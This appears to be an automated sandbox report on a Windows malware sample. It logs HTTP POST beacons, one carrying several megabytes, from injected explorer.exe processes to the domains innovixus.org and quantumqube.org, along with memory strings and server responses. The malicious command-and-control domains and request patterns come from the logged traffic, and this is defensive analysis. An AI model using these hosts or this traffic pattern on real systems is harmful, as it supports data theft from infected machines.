        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://innovixus.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 501Host: innovixus.org
        Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://innovixus.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 6348785Host: innovixus.org
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A0D672 InternetReadFile,SetEvent,GetLastError,SetEvent,11_2_00A0D672
        Source: explorer.exe, 0000001A.00000003.2312265547.0000000004E86000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2312443797.0000000004E54000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000003.2164724694.0000000003140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: "www.facebook.com", equals www.facebook.com (Facebook)
        Source: global trafficDNS traffic detected: DNS query: tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc
        Source: global trafficDNS traffic detected: DNS query: quantumqube.org
        Source: global trafficDNS traffic detected: DNS query: innovixus.org
        Source: unknownHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://ccvbbbuqtiqo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 152Host: quantumqube.org
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 20 Nov 2024 10:21:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 150<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 20 Nov 2024 10:21:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 37 30 0d 0a 40 00 00 00 1b f4 cd 81 67 40 84 f7 fb bb af 97 96 00 be 9d 47 d7 bf dc 48 15 53 4e b1 fa 27 45 7c 36 91 fa 56 df a2 ea 1b 9e 23 5e 2e 10 76 27 d2 6c ac 11 c6 52 d1 3b 37 d7 a5 36 82 b4 8a ab 80 da 1b be 00 a0 92 05 00 03 0c a7 32 01 0b 00 00 07 00 9e 03 00 00 62 02 28 96 e9 7a 2a f4 cb 78 52 7f 40 00 50 00 77 c0 64 47 47 36 9c 8d 96 4a ed d1 9e d6 80 c4 6c 33 99 24 a7 b4 b4 35 c3 e1 cb 26 ef 22 79 42 75 08 78 08 f7 1d 9b dc 6b cb 0a ea f2 8b 19 bf 99 78 b9 82 ba ce 22 33 4f 4a a8 df 50 78 ae 76 77 2e c7 9b 5e 2d 28 67 32 da c8 c9 75 cd d4 a5 2b c1 10 eb 1d a0 33 0d 98 9e 44 f7 6b a9 c6 24 31 3d 1d f1 ea e8 ae 1d d5 84 1f af 15 26 fb 4f bb 25 b9 52 6e f5 a0 8a 0a 49 0e 48 3c 5c 38 d3 13 33 ca aa 9b 5c 35 3f 78 1b f1 19 e1 c2 70 4c e8 73 36 6b 7d d5 d3 6e a4 5e 14 85 a9 0e a1 79 e7 e2 8f d9 fc 87 1e 17 08 2a d3 a7 57 64 02 f2 1f 97 3a 75 05 d6 39 26 05 29 1b 93 de cb 73 67 b8 04 d4 23 37 bf be 0b 34 b2 74 c4 1a 80 c5 9c f5 2b 45 c2 a1 ce 66 f8 cd ce 41 e1 68 9b cb 45 74 60 87 17 b6 fb c9 69 56 c1 7a 75 a6 b6 91 7f 35 28 62 b3 15 0a 3e 77 0b 6c 3f 72 6d c5 b0 62 4a 85 0a 39 54 4a ef 82 78 65 a5 12 89 42 79 18 c4 79 f5 96 4f 76 46 06 c0 e9 22 30 34 84 0f 92 48 07 52 c5 04 c3 48 b7 3d 91 25 be 7c 16 c4 5c 8e 36 d9 7c b3 67 c3 ee a4 67 3b c7 e0 1b 96 44 60 0c 7d 11 6b 01 27 8e 7a 90 1b 83 03 37 9c a1 29 61 04 de ac b2 d8 3c bd 20 60 c8 95 74 8e 89 0b 2c 61 df 2b c0 7e a4 4e 45 3a c3 e4 a8 39 be bb a7 31 20 93 97 a0 a0 b5 7f c7 d6 91 0a 5b 86 18 74 2a fd 7d c4 1d 22 3f b3 3c 56 73 d8 fb 5b 8e 2d a5 e4 07 39 88 5c 2a 6a 3f c8 6c 1d b5 c6 8b f1 be 7f d6 a1 5e 5c 47 ac 65 d7 73 d2 71 71 f5 9a 3d cf 2c e5 1c c6 eb 8c b4 45 e1 0c a1 e8 35 b7 e5 04 54 25 1f 83 1f fd 39 ae 07 62 90 48 e8 f7 cb 93 3c 91 5f fc 84 dd 7a 0b 01 a2 11 6a c4 f4 14 70 65 48 60 21 09 b6 10 7d 2d 97 87 bb 75 c3 0a b7 49 aa 57 7d 10 a3 15 a6 91 59 62 2a 44 9f c7 bd f3 a8 72 60 9d b9 c7 f5 9f d8 aa df 2d 16 2b 15 a2 69 39 7a 26 8a de 9b 6d a1 a2 c6 90 63 f8 37 1d 10 4c e1 29 af 9e 05 fd 3c 1d 17 7a 41 32 b4 77 40 0c 0d a9 bb 8d b7 ba 7a 5d 98 53 fb e6 7e 09 8e 0a 3c cc 99 ef 15 b1 4e ad b0 11 b9 de 26 5d f2 f9 c7 72 49 b9 46 de b0 e4 d6 76 f2 a0 8a fb b2 52 12 6e db 9e e3 84 21 7a 72 ba 59 c6 34 4f 12 9b f7 e0 4c 77 d7 c6 6b a2 99 f6 d9 6b d5 7d 23 04 ce ad 8d 9f 18 aa 9d 74 59 68 c0 42 f7 92 c7 6b 71 4b 65 e4 cd a0 29 e1 92 05 21 d8 c4 ea 8d c1 30 94 87 ab c7 50 14 15 85 86 d2 a0 15 15 e6 d9 f5 12 d8 d4 a1 58 7f b8 41 0e ad df bc 0d a8 ce 32 04 e4 8a 84 7f ee 75 29 7d da 25 86 c8 da 42 6f db 62 73 41 5e f7 ed 15 15 42 fb e6 ea 35 c4 50 ad 56 45 8b 79 53 2b f9 92 ee 64 4c 1b b5 4a fd 76 6a 6c fb 4d d2 a0 9c 79 25 c8 b5 17 5b 8c 8a cb 65 8f b5 89 0b e4 24 b9 de 24 ba 24 c5 b3 95 c4 4e 52 85 c0 ad 92 ff 22 8e ec f3 62 37 33 ba d7 2b ac 7b 1d f7 ef 6c cd 5f 21 5d 0c 2c 91 ae 02 4e a1 c7 4d 3
        Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.22.1Date: Wed, 20 Nov 2024 10:21:20 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 35 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 150<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>0
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002BA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002BA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/application/x-www-form-urlencodedMozilla/5.0
        Source: explorer.exe, 00000010.00000003.2285872024.000000000301D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2740299631.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.2101602972.0000000002B91000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.2088135326.0000000001359000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2736094878.0000000002E17000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.2735426514.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.2735268250.0000000002F37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.2734733792.0000000000429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.2736401615.0000000002E78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/index.php
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.2088135326.0000000001359000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2736094878.0000000002E17000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.2735426514.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.2735268250.0000000002F37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.2734733792.0000000000429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.2736401615.0000000002E78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/index.phpMozilla/5.0
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/index.phpp6
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/k6
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002B8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/ndex.php
        Source: explorer.exe, 00000010.00000003.2285320724.000000000C1A3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/ngs
        Source: explorer.exe, 00000010.00000003.2285320724.000000000C1A3000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/nts
        Source: explorer.exe, 00000010.00000003.2285320724.000000000C1A3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.2101602972.0000000002BA5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org/s
        Source: explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://innovixus.org:80/index.phposoft
        Source: explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://jedwatson.github.io/classnames
        Source: explorer.exe, 00000010.00000000.1789222607.0000000004405000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2741474078.0000000004405000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ns.adobeS
        Source: file.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009255000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
        Source: explorer.exe, 00000010.00000000.1791764203.00000000090DA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp2.globalsign.com/rootr306
        Source: explorer.exe, 00000010.00000002.2744437577.0000000007710000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000002.2744476164.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1788619408.0000000002C80000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
        Source: file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
        Source: explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://underscorejs.org/LICENSE
        Source: file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmp, Imposed.com, 0000000E.00000002.1683421473.0000000000A65000.00000002.00000001.01000000.00000007.sdmp, Imposed.com, 0000000F.00000000.1684064509.0000000000A65000.00000002.00000001.01000000.00000007.sdmp, chhfaci, 00000013.00000000.1982371669.00000000007E5000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3/X
        Source: explorer.exe, 00000010.00000000.1791764203.0000000009237000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.c
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOSA4
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOSd
        Source: explorer.exe, 00000010.00000003.2285437159.000000000704B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.000000000704E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1789791327.000000000702D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
        Source: explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
        Source: explorer.exe, 00000010.00000000.1791764203.00000000090DA000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&oc
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
        Source: explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
        Source: explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
        Source: explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svg
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsi
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
        Source: explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
        Source: explorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
        Source: explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/jsstyles/css-vendor
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1b2aMG.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
        Source: explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYTL1i.img
